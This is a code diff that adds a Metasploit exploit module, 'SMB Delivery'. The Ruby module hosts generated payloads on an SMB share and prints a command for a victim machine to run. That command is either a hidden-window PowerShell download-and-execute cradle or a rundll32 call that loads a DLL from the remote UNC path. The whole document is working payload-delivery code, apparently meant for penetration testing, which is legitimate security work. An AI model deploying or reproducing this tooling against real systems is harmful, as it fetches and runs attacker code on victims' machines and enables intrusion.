Addition of SMB delivery module

Author: jakxx

modules/exploits/windows/smb/smb_delivery.rb

@@ -0,0 +1,77 @@
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::EXE
+  include Msf::Exploit::Remote::SMB::Server::Share
+  include Msf::Exploit::Powershell
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "SMB Delivery",
+      'Description'    => %q{
+        This module serves payloads via an SMB server and provides commands to retrieve
+        and execute the generated payloads. Currently supports DLLs and Powershell.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Andrew Smith',
+          'Russel Van Tuyl'
+        ],
+      'References'     =>
+        [
+          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
+        ],
+      'Payload'        =>
+        {
+          'Space'       => 2048,
+          'DisableNops' => true
+        },
+        'Platform'       => 'win',
+        'Targets'        =>
+          [
+            ['DLL', {
+              'Platform' => 'win',
+              'Arch' => [ARCH_X86, ARCH_X86_64]
+            }],
+            ['PSH', {
+              'Platform' => 'win',
+              'Arch' => [ARCH_X86, ARCH_X86_64]
+            }]
+          ],
+        'Privileged'     => false,
+        'DisclosureDate' => "Jul 26 2016",
+        'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll'])
+      ], self.class)
+
+    deregister_options('FILE_CONTENTS')
+  end
+
+  def primer
+    print_status('Run the following command on the target machine:')
+    case target.name
+    when 'PSH'
+      self.file_contents = cmd_psh_payload(  payload.encoded,
+                                             payload_instance.arch.first,
+                                             remove_comspec: true,
+                                             use_single_quotes: true)
+
+      ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
+      download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)
+      download_and_run = "#{ignore_cert}#{download_string}"
+      print_line generate_psh_command_line(  noprofile: true,
+                                             windowstyle: 'hidden',
+                                             command: download_and_run)
+    when 'DLL'
+      self.file_contents = generate_payload_dll
+      print_line("rundll32.exe #{unc},0")
+    end
+  end
+end